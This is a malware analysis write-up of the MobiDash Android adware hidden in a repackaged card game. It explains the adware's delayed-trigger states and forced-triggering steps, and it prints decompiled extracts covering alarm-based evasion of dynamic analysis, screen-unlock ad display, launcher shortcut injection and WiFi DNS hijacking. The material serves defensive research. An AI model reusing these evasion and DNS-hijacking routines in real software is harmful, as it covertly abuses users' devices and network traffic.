MobiDash

January 2015

Summary

Aggressive adware which can wait several weeks before triggering

GroDDViewer graphs:

Details

MobiDash is an adware discovered in January 2015. It displays unwanted ads each time the user unlocks the screen. To evade dynamic analysis tools, the malware waits several days or even weeks before executing its malicious code. The user would also not suspect a fresh installed application several days later. For that purpose the malware uses three internal states, namely None, Waiting and WaitingCompleted. The default state is None. The malware stays in this state when it has been configured and as long as the device is not rebooted. Once the device is rebooted, the malware reaches the state Waiting and waits the delay defined during the configuration. After the delay, it starts to display ads.

Stage 1: Bootstrapping the configuration

When the application is launched for the first time, the activity com.cardgame.durak.activities.ActivityStart is created and it calls the InitAds() function from the MyAdActivity class. This triggers a bootstrap procedure in which the file res/raw/ads_settings.json is read. This file contains information about the malware configuration, and in particular, it contains the server to be contacted and the time to wait before triggering (called OverappStartDelaySeconds). In our sample, the server is http://xxx.mads.bz [1] and the delay is 86400 seconds (24 hours). All these parameters are then saved in the SharedPreferences. At this moment, the internal state of the malware is None.

Stage 2: From state None to Waiting

Once the device is rebooted, the BOOT_COMPLETED intent is received by the DisplayCheckRebootReceiver and it triggers the ping() function from the AdsOverappRunner class. This function checks the internal state of the malware and executes a specific function for each case.

final AdsOverappRunner.State state = getState(context);
switch ($SWITCH_TABLE$mobi$dash$overapp$AdsOverappRunner$State()[state.ordinal()]) {
    case 1: {
        startWait(context);
        break;
    }
    case 2: {
        checkForCompleted(context);
        break;
    }
    case 3: {
        startAds(context);
        break;
    }
}


If the state is None, it calls the startWait() function which changes the internal state into Waiting, saves the current time in the SharedPreferences and setups two alarms. The first alarm is used to re-trigger the DisplayCheckRebootReceiver every 15 minutes. The second alarm is redundant and re-trigger the receiver exactly 24 hours later.

protected static void startWait(final Context context) {
    setState(context, AdsOverappRunner.State.Waiting);
    setWaitStartTime(context, System.currentTimeMillis());
    DisplayCheckRebootReceiver.setupPingAlarms(context);
    DisplayCheckRebootReceiver.setupPingAlarmOne(context, (long)(AdsExtras.getOverappStartDelaySeconds()*1000+1000));
}


Stage 3: From state Waiting to WaitingCompleted

The next call to ping() (with the Waiting state) will execute the checkForCompleted() function. This function is in charge to check if the delay is over. If the condition is true, the internal state is changed in WaitingCompleted and the startAds() function is called.

The purpose of startAds() is only to start the malicious service DisplayCheckService. This service is used to request ads to the server and to display them on the screen. During the onCreate() function, the service sets up the same alarm as in startWait() in order to restart itself every 15 minutes. It also dynamically registers 2 receivers :

protected void setupUserPresent() {
    this.registerReceiver(this.screenOffReceiver, new IntentFilter("android.intent.action.SCREEN_OFF"));
    this.registerReceiver(this.userPresentReceiver, new IntentFilter("android.intent.action.USER_PRESENT"));
}


The first receiver is for requesting new ads each time the screen turns off by calling requestAds() function. The second receiver is for displaying an ad each time the user unlocks the screen by calling showLink() function. All the source code used to contact the server is located in the package mobi.dash.api.

We can see in mobi.dash.homepage a class named HomepageInjector which is used to change the browser homepage. There is also a class AdsShortcutUtils located in mobi.dash.shortcuts used to create and install launcher shortcuts. Another interesting feature is located in mobi.dash.wifi: it seems that the malware is able to change in the system settings the DNS server used when connected with the WiFi:

Settings$System.putString(contentResolver, "wifi_static_dns1", dns);
Settings$System.putString(contentResolver, "wifi_static_dns2", dns);


During our observations, none of these 3 features have been activated. We also observed that samples of this malware contain a lot of different lawful Advertising Service SDK. More precisely, our studied sample contains packages of AdBuddiz, AdMob, Flurry, MoPub, Chartboost, PlayHaven, TapIt and Moarbile. But in the main activity of the application (see ActivityMain$11), only AdBuddiz, AdMob and Chartboost are used. To finish, log files about all the downloaded malicious ads are stored in the folder data/data/com.cardgame.durak/files/mobi.dash.history/active/. These logs contain information such as requests to the server and redirecting links.

[1]We intentionally anonymzed this URL

Other resources

Triggering

The malware is triggered only in the internal state WaitingCompleted. To force the malware to reach this state, the application must be launched a first time and the device must be rebooted. It creates an XML file in the directory /data/data/com.cardgame.durak/shared_prefs/. When setting the value of waitStartTime to 0 and rebooting again, the malicious code is triggered. The smartphone must be rebooted promptly after modifying the file, for example by pushing it with adb, in order to avoid the malware to overwrite the modification. Additionally, Internet must be reachable to allow the malware to display ads.

Caracteristics

Malware type :

  • Agressive adware

Attacks :

  •   Normal use

Infection technique : Repackaged application

Malicious code type :

  • Use Java code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Executed at launch
  • Waits for a fixed period of time
  • Waits for a particular intent

Samples

Java source code extracts:

InitAds.java is one of the function called when the application is launched.
bootstrap.java is the function where the configuration file is read to initiate the malware.
ping.java is the function used to check the internal state.
startWait.java is the function used to change the internal state to Waiting and to start the countdown.
checkForCompleted.java is the function used to check if the countdown is over in order to start displaying ads.
setupUserPresent.java is the function used by DisplayCheckService in order to display ads each time the screen is unlocked.
installShortcut.java is a function used to install a shortcut to an advertisement. (Never used during our observations)
setupDns.java is a function used to change the DNS server used by WiFi. (Never used during our observations)

InitAds.java

// in file myutils/activity/MyAdActivity.java
// extract of the "InitAds" function

  if (this.CB_ENABLED) {
  	(this.chartBoost = Chartboost.sharedChartboost()).onCreate(this,"","", chartboostDelegate);
  }
  //Starting the bootstrap procedure
  if (this.ADS_EXTRAS) {
  	AdsExtras.bootstrap((Context)this);
  }
  if (this.PUSHW_ENABLED) {
  	this.registerReceivers();
  	new PushManager((Context)this, "", "").onStartup((Context)this);
  	this.checkMessage(this.getIntent());
  }

bootstrap.java

// in file mobi/dash/extras/AdsExtras.java
// extract of the "bootstrap" function

//The configuration file "res/raw/ads_settings.json" is read in this function
final JSONObject bootstrapConfig = readBootstrapConfig(context, AdsExtras.packageNameForConfig);

if (bootstrapConfig != null) {
	try {
		//The configuration file values are parsed and stored in static attributes of the class
 		applyConfig(context, nextBootstrapIsRebootstrap, bootstrapConfig);
		//The values are then stored in the SharedPreferences
		storeParams(context);

		Ads.checkInstalledApplications(context);
		context.sendBroadcast(new Intent("mobi.dash.extras.Action_Bootstraped"));
		DisplayCheckRebootReceiver.sendAlive(context);
	}

ping.java

// in file mobi/dash/overapp/AdsOverappRunners.java

public static void ping(final Context context) {

	if (Ads.isInitialized()) { AdsExtras.storeParams(context); }
	else { AdsExtras.reinitFromStored(context); }

	final AdsOverappRunner.State state = getState(context);

	switch ($SWITCH_TABLE$mobi$dash$overapp$AdsOverappRunner$State()[state.ordinal()])
	{
		// case None
		case 1: {
			startWait(context);
			break;
		}
		// case Waiting
		case 2: {
			checkForCompleted(context);
			break;
		}
		// case WaitingCompleted
		case 3: {
			startAds(context);
			break;
		}
	}
}

startWait.java

// in file mobi/dash/overapp/AdsOverappRunners.java

protected static void startWait(final Context context) {

	// Here the state become "Waiting"
	setState(context, AdsOverappRunner.State.Waiting);

	final long currentTimeMillis = System.currentTimeMillis();
	setWaitStartTime(context, currentTimeMillis);

	// Theses 2 functions are the 2 alarms to re-trigger DisplayCheckRebootReceiver 
	// (in order to re-call the ping() function )
	DisplayCheckRebootReceiver.setupPingAlarms(context);
	DisplayCheckRebootReceiver.setupPingAlarmOne(context, 
		(long)(AdsExtras.getOverappStartDelaySeconds() * 1000 + 1000));
}

checkForCompleted.java

// in file mobi/dash/overapp/AdsOverappRunners.java

protected static void checkForCompleted(final Context context) {

	final long i = getWaitStartTime(context) + AdsExtras.getOverappStartDelaySeconds() * 1000;
	final long currentTimeMillis = System.currentTimeMillis();

	// Checking if the delay is over
	if (currentTimeMillis >= i) {
		setState(context, AdsOverappRunner.State.WaitingCompleted);
		startAds(context);
	}
}

setupUserPresent.java

// in file mobi/dash/overapp/DisplayCheckService.java

protected void setupUserPresent() {

	// This receiver is to download a new advertisement each time the screen turns off
	this.registerReceiver(this.screenOffReceiver, new IntentFilter("android.intent.action.SCREEN_OFF"));

	// This receiver is to display an advertisement each time the screen is unlocked
	this.registerReceiver(this.userPresentReceiver, new IntentFilter("android.intent.action.USER_PRESENT"));
}

installShortcut.java

// in file mobi/dash/shortcuts/AdsShortcutUtils.java

private static void installShortcut(final Context context, final AdsShortcutUtils.Shortcut shortcut) {

	//This function return an Intent for opening an advertisement in the web browser
	final Intent shortcutIntent = createShortcutIntent(context, shortcut);

	final Intent intent = new Intent();
	intent.putExtra("android.intent.extra.shortcut.INTENT", (Parcelable)shortcutIntent);
	intent.putExtra("android.intent.extra.shortcut.NAME", shortcut.title);
	intent.putExtra("duplicate", false);
	intent.putExtra("android.intent.extra.shortcut.ICON_RESOURCE", Intent$ShortcutIconResource.fromContext(
		context, DeviceUtils.getDrawableResourceId(context, shortcut.id)));
	intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
	context.sendBroadcast(intent);
}

setupDns.java

// in file mobi/dash/wifi/AdsWifiUtils.java

public static void setupDns(final Context context) {

	// This value is retrieved from the SharedPreferences
	final String dns = getDns(context);

	if (!TextUtils.isEmpty((CharSequence)dns)) {

		final WifiManager wifiManager = (WifiManager)context.getSystemService("wifi");
		if (wifiManager != null) {

			final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo();
			if (dhcpInfo != null) {

				final String formatIpAddress = Formatter.formatIpAddress(dhcpInfo.ipAddress);
				final String formatIpAddress2 = Formatter.formatIpAddress(dhcpInfo.netmask);
				final String formatIpAddress3 = Formatter.formatIpAddress(dhcpInfo.gateway);
				final ContentResolver contentResolver = context.getContentResolver();

				Settings$System.putString(contentResolver, "wifi_use_static_ip", "1");
				Settings$System.putString(contentResolver, "wifi_static_ip", formatIpAddress);
				Settings$System.putString(contentResolver, "wifi_static_netmask", formatIpAddress2);
				Settings$System.putString(contentResolver, "wifi_static_gateway", formatIpAddress3);
				Settings$System.putString(contentResolver, "wifi_static_dns1", dns);
				Settings$System.putString(contentResolver, "wifi_static_dns2", dns);
			}
		}
	}
}